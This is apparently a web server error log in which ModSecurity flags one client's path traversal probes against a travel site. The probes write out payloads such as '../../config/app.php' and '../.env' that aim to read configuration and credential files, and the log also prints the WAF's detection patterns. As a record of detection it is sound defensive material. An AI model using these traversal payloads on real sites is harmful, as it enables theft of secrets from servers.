[Fri Jul 17 08:55:06.672508 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95mQAAAAw"]
[Fri Jul 17 08:55:06.672557 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBQAAAABs"]
[Fri Jul 17 08:55:06.674156 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2Fconfig%2Fapp.php&ts=oJM2DxUgTgVxC4axWXiNRrEqMeppF2OCbnqyo6SuFtlwb1kjHocfea8jBCGUIdQnOLLFsYGNpdypy18Hz1llCTeE94gOu7KfS5lZxejLZI33CiEDYFK4JN5VUhN7-7u-o4ZshDnIRajMyxwXaBHp1xVsF4szpXwPN3jeahvR8n-372C9MyHZFYzVA1DM7726BGU1LhlknugSuHGPQ9WUz0IzP_Pap1XNQSJJZa-Eofof-RBhpJNITFeuDcx7FXbY7qa1I5aNdEad9rUTtpONnbLj&ref=TYS4JPYYDU4BB3YETDXAZXSAUENEV77YLJB5XUI7DJMV6MXHIXBRQCDW4VYAAAHYXBN242AMVS32DUPK7VPDZPSJMWBKROIECE33KVE22ONCHUITYNMEXC3M2M57GMJVSE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.674210 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.674257 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../config/app.php&ts=oJM2DxUgTgVxC4axWXiNRrEqMeppF2OCbnqyo6SuFtlwb1kjHocfea8jBCGUIdQnOLLFsYGNpdypy18Hz1llCTeE94gOu7KfS5lZxejLZI33CiEDYFK4JN5VUhN7-7u-o4ZshDnIRajMyxwXaBHp1xVsF4szpXwPN3jeahvR8n-372C9MyHZFYzVA1DM7726BGU1LhlknugSuHGPQ9WUz0IzP_Pap1XNQSJJZa-Eofof-RBhpJNITFeuDcx7FXbY7qa1I5aNdEad9rUTtpONnbLj&ref=TYS4JPYYDU4BB3YETDXAZXSAUENEV77YLJB5XUI7DJMV6MXHIXBRQCDW4VYAAAHYXBN242AMVS32DUPK7VPDZPSJMWBKROIECE33KVE22ONCHUITYNMEXC3M2M57GMJVSENFA5XQIXLVMIOM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.674283 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../config/app.php&ts=ojm2dxugtgvxc4axwxinrreqmeppf2ocbnqyo6suftlwb1kjhocfea8jbcguidqnollfsygnpdypy18hz1llctee94gou7kfs5lzxejlzi33ciedyfk4jn5vuhn7-7u-o4zshdnirajmyxwxabhp1xvsf4szpxwpn3jeahvr8n-372c9myhzfyzva1dm7726bgu1lhlknugsuhgpq9wuz0izp_pap1xnqsjjza-eofof-rbhpjnitfeudcx7fxby7qa1i5andead9ruttponnblj&ref=tys4jpyydu4bb3yetdxazxsauenev77yljb5xui7djmv6mxhixbrqcdw4vyaaahyxbn242amvs32dupk7vpdzpsjmwbkroiece33kve22onchuitynmexc3m2m57gmjvsenfa5xqixlvmiom..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.674302 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.674324 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.674403 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:template: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.675596 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.675754 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.676172 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUTQAAABI"]
[Fri Jul 17 08:55:06.679982 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.680198 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.680604 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkuYpb_TFRze2EO3zVQAAAAE"]
[Fri Jul 17 08:55:06.692542 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:56388] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:06.704603 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQQAAABs"]
[Fri Jul 17 08:55:06.704662 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQQAAABs"]
[Fri Jul 17 08:55:06.705848 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQQAAABs"]
[Fri Jul 17 08:55:06.705984 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.706335 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBQQAAABs"]
[Fri Jul 17 08:55:06.707914 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2Fconfig%2Fmail.php&extra=Llua9I4LF3nbYpMLBe9K-Gb72rWX80kq8mGLf5K2XVw2g00GN57ROhVzRL3SDdC0GNZtLL7AwrRNKg9l15E_0GDyU1c_omgq_5CqIXsLw3suQbXzswMsb4z1Mf_yjh2BknjuuaaxxTNNzofB9TGoiBUomW2monv3mdquEcZBAFTQI4uINGGCM3wczOwLdlObcjS5p-7DrraTu_A7EyjTMFxPVUehZuQOZJ4L_J3LqdQwKZRZu_M41UK3CWGxSxLFfI5koS-bsXCjKIT5E_9ag7bp&ref=YKWEZY6PYV4P2OWBYREV6C65L7VT7D5OZ2ASXE2QGZNBSO6BHJ2OUIW73EZPOHD4CCMJCTMAOM7LSA7CIKSC4LWYXSBV2JPUZUZRE6X5HZ3B7SLOYOXYR5WBZIVQTO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.707962 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.708016 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../config/mail.php&extra=Llua9I4LF3nbYpMLBe9K-Gb72rWX80kq8mGLf5K2XVw2g00GN57ROhVzRL3SDdC0GNZtLL7AwrRNKg9l15E_0GDyU1c_omgq_5CqIXsLw3suQbXzswMsb4z1Mf_yjh2BknjuuaaxxTNNzofB9TGoiBUomW2monv3mdquEcZBAFTQI4uINGGCM3wczOwLdlObcjS5p-7DrraTu_A7EyjTMFxPVUehZuQOZJ4L_J3LqdQwKZRZu_M41UK3CWGxSxLFfI5koS-bsXCjKIT5E_9ag7bp&ref=YKWEZY6PYV4P2OWBYREV6C65L7VT7D5OZ2ASXE2QGZNBSO6BHJ2OUIW73EZPOHD4CCMJCTMAOM7LSA7CIKSC4LWYXSBV2JPUZUZRE6X5HZ3B7SLOYOXYR5WBZIVQTONOZG3CDSVCE3RY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.708055 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../config/mail.php&extra=llua9i4lf3nbypmlbe9k-gb72rwx80kq8mglf5k2xvw2g00gn57rohvzrl3sddc0gnztll7awrrnkg9l15e_0gdyu1c_omgq_5cqixslw3suqbxzswmsb4z1mf_yjh2bknjuuaaxxtnnzofb9tgoibuomw2monv3mdqueczbaftqi4uinggcm3wczowldlobcjs5p-7drratu_a7eyjtmfxpvuehzuqozj4l_j3lqdqwkzrzu_m41uk3cwgxsxlffi5kos-bsxcjkit5e_9ag7bp&ref=ykwezy6pyv4p2owbyrev6c65l7vt7d5oz2asxe2qgznbso6bhj2ouiw73ezpohd4ccmjctmaom7lsa7ciksc4lwyxsbv2jpuzuzre6x5hz3b7sloyoxyr5wbzivqtonozg3cdsvce3ry..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.708089 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.708107 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.709348 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.709515 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.709859 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUTgAAABI"]
[Fri Jul 17 08:55:06.716605 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQgAAABs"]
[Fri Jul 17 08:55:06.716668 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQgAAABs"]
[Fri Jul 17 08:55:06.717841 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBQgAAABs"]
